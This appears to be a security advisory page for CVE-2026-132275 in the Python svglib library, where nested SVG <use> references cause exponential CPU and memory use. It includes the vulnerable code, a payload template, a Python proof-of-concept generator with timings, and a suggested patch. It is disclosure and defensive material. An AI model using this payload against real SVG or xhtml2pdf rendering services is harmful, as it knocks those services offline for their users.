CVE-2026-132275: svglib: Exponential resource consumption via nested <use> references in svg2rlg

High CVSS 7.5

OSV id
GHSA-555j-qj3j-c8jv
Also known as
CVE-2026-132275
Published
Last modified

Affected packages

PackageAffected versionsFixed in
svglib
PyPI
< 2.3.1 2.3.1

How to fix it

Upgrade svglib to 2.3.1 or later.

# in requirements.txt: change the line to svglib==2.3.1
pip install -r requirements.txt
  • If it is an indirect dependency, upgrade the package that depends on it, or add a minimum version constraint for it (e.g. in constraints.txt, or as a dependency in pyproject.toml).
  • Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.

Not sure whether your project uses an affected version? Check your lockfile below for free.

Details

Summary

svg2rlg() expands <use> references without any limit on the total number of expansions. Only direct cycles are rejected (CircularRefError). A group containing N <use> elements that point to another such group multiplies the work by N per nesting level, so an SVG of about 1.4 KB makes svglib clone and render over 100,000 nodes, taking tens of seconds of CPU time and hundreds of MiB of memory. Each additional level adds about 245 bytes to the document and multiplies time by ~10.

This is the SVG <use> variant of the XML "billion laughs" attack (the same class as librsvg CVE-2019-20446).

Details

SvgRenderer.renderUse() in src/svglib/svglib.py:

try:
    item = self.xlink_href_target(node, group=group)
except CircularRefError:
    node.parent.etree_element.remove(node.etree_element)
    return group
...
if len(node.getchildren()) == 0:
    # Append a copy of the referenced node as the <use> child (if not
    # already done)
    node.append(copy.deepcopy(item))
self.renderNode(list(node.iter_children())[-1], parent=group)

The referenced node is deep-copied under the <use> element and rendered. Any <use> elements inside the copied subtree go through renderUse() again. xlink_href_target() raises CircularRefError only for a direct cycle, so a reference DAG with fan-out is expanded fully: fan ** levels renders.

Payload shape (fan = 10, levels = 5):

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10">
  <defs>
    <rect id="l0" width="1" height="1"/>
    <g id="l1"><use xlink:href="#l0"/> ... 10 times ... </g>
    <g id="l2"><use xlink:href="#l1"/> ... 10 times ... </g>
    ...
    <g id="l5"><use xlink:href="#l4"/> ... 10 times ... </g>
  </defs>
  <use xlink:href="#l5"/>
</svg>

Impact

Denial of service (CPU and memory exhaustion) for any application that renders SVG from an untrusted source with svglib: thumbnail/preview generation, SVG-to-PDF conversion, report generation. Only the SVG document needs to be attacker-controlled; no non-default option is required.

The same happens through xhtml2pdf, which depends on svglib to render SVG images. An HTML document containing <img src="data:image/svg+xml;base64,..."> passed to pisa.CreatePDF() triggers the expansion. HTML-to-PDF conversion of user-supplied content is a common use of xhtml2pdf in web applications.

Reproduction

Minimal local PoC, non-destructive:

import io, time
from svglib.svglib import svg2rlg

def make(levels, fan=10):
    parts = ['<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10"><defs>',
             '<rect id="l0" width="1" height="1"/>']
    for i in range(1, levels + 1):
        parts.append(f'<g id="l{i}">' + f'<use xlink:href="#l{i-1}"/>' * fan + '</g>')
    parts.append(f'</defs><use xlink:href="#l{levels}"/></svg>')
    return "".join(parts).encode()

for levels in (3, 4, 5):
    data = make(levels)
    t = time.time()
    svg2rlg(io.BytesIO(data))
    print(levels, len(data), f"{time.time() - t:.1f}s")

Result on svglib 2.3.0 (commit 5d28646), Python 3.12, macOS:

levels SVG size time peak RSS
3 919 B 0.3 s 42 MiB
4 1164 B 2.9 s 83 MiB
5 1409 B 34 s 469 MiB

svglib 1.5.1 from PyPI behaves the same (levels = 4: 2.8 s, 82 MiB).

Through xhtml2pdf 0.2.23 with the same SVG embedded as a data: URI <img>:

levels HTML size time peak RSS
4 1626 B 6.9 s 133 MiB
5 1954 B 78.7 s 499 MiB

Suggested fix

Count <use> expansions per document and stop expanding beyond a fixed limit:

@@ src/svglib/svglib.py
 # A sentinel to identify a situation where a node reference a fragment not yet defined.
 DELAYED = object()

+# Upper bound on the number of <use> elements expanded while rendering one document.
+# Nested <use> references multiply (a few hundred bytes can expand to millions of
+# nodes), so rendering stops expanding <use> elements beyond this limit.
+MAX_USE_EXPANSIONS = 10_000
+
@@ class SvgRenderer:
         self._external_svgs: dict[str, ExternalSVG] = {}
+        self._use_expansions = 0
         self.attrConverter.css_rules = CSSMatcher()
@@ def renderUse(
         if group is None:
             group = Group()

+        self._use_expansions += 1
+        if self._use_expansions > MAX_USE_EXPANSIONS:
+            if self._use_expansions == MAX_USE_EXPANSIONS + 1:
+                logger.error(
+                    "Too many <use> expansions (limit is %d), skipping the rest",
+                    MAX_USE_EXPANSIONS,
+                )
+            return group
+
         try:
             item = self.xlink_href_target(node, group=group)

With the fix, a 6-level payload (1654 B, one million expansions without the limit) renders in 1.1 s with 64 MiB peak RSS. The limit value is a suggestion; 10,000 <use> elements is

References

Am I affected?

Upload or paste your lockfile. We check every package version in it against OSV.dev, this advisory included, and email you the vulnerable ones with the version that fixes them. Free, and no account needed.

or paste its content

Needed when you paste. package.json and pyproject.toml only have version ranges: use the lockfile next to them.

Only package names and versions are checked; the file itself is not kept. We use your email to send this report and nothing else unless you tick the box above. Privacy policy.

About this data

Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.